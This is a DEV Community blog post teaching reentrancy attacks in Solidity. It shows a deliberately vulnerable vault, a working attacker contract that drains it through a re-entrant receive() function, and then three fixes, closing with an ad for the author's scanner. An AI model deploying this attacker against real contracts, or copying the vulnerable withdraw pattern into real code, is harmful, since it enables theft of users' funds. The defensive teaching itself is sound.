DEV Community

Heemin Kim
Heemin Kim

Posted on • Originally published at contract-scanner.raccoonworld.xyz

Anatomy of a DeFi Hack: Reentrancy Deep Dive

Reentrancy is the exploit that launched a thousand audits. The DAO hack of 2016 resulted in a $60M loss and a hard fork of Ethereum itself. Yet the pattern still appears in production contracts today.

Let's walk through exactly how a reentrancy attack unfolds.

The Setup: A Vulnerable Vault

contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        // Step 1: send ETH — triggers attacker's receive()
        (bool ok,) = msg.sender.call{value: amount}("");
        require(ok, "Transfer failed");

        // Step 2: update state — too late!
        balances[msg.sender] = 0;
    }
}
Enter fullscreen mode Exit fullscreen mode

The Attacker Contract

contract Attacker {
    VulnerableVault public vault;
    uint256 public count;

    constructor(address _vault) {
        vault = VulnerableVault(_vault);
    }

    function attack() external payable {
        vault.deposit{value: msg.value}();
        vault.withdraw(); // triggers the loop
    }

    receive() external payable {
        if (count < 10 && address(vault).balance >= 1 ether) {
            count++;
            vault.withdraw(); // re-enter before state is updated
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

Attack Flow

  1. Attacker deposits 1 ETH.
  2. Attacker calls withdraw().
  3. Vault sends 1 ETH to attacker — balance is still 1 ETH at this point.
  4. Attacker's receive() fires and calls withdraw() again.
  5. Vault checks balances[attacker] — still 1 ETH — sends another 1 ETH.
  6. Repeat 10 times: attacker walks away with 10 ETH, vault loses 9.

Fixes

Option A: Checks-Effects-Interactions Pattern

Zero the balance before the external call:

function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0);
    balances[msg.sender] = 0; // ← effect first
    (bool ok,) = msg.sender.call{value: amount}(""); // ← interaction last
    require(ok);
}
Enter fullscreen mode Exit fullscreen mode

Option B: ReentrancyGuard

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeVault is ReentrancyGuard {
    function withdraw() external nonReentrant {
        // ...
    }
}
Enter fullscreen mode Exit fullscreen mode

Option C: Pull-over-Push

Instead of sending ETH directly, let users claim it:

mapping(address => uint256) public pending;

function claimFunds() external {
    uint256 amount = pending[msg.sender];
    pending[msg.sender] = 0;
    payable(msg.sender).transfer(amount);
}
Enter fullscreen mode Exit fullscreen mode

Cross-Function Reentrancy

Don't forget that reentrancy can occur across multiple functions sharing state:

function transfer(address to, uint256 amount) external {
    balances[msg.sender] -= amount;
    // ← External call in another function can re-enter here
    balances[to] += amount;
}
Enter fullscreen mode Exit fullscreen mode

Always audit functions that modify shared state alongside functions that make external calls.


ContractScan's static analysis engine flags all of these patterns. Upload your contract and check for reentrancy in seconds.


Try ContractScan free — automated Solidity vulnerability scanning powered by Slither, Semgrep, Mythril, and AI.

Top comments (0)